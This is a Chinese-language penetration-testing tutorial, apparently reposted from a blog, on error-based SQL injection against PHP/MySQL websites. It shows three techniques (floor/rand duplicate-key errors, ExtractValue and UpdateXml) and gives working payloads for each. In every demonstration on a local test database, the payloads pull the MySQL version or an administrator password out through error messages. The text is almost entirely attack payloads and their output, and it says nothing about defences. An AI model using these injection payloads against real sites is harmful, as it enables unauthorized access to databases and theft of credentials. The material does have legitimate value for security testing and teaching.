Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。

实际测试环境:

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| admin          |
| article        |
+----------------+

mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+

mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下:
首先进行正常查询:

mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

原文地址:http://blog.ourren.com/2012/11/03/pentest_method_of_mysql_error.html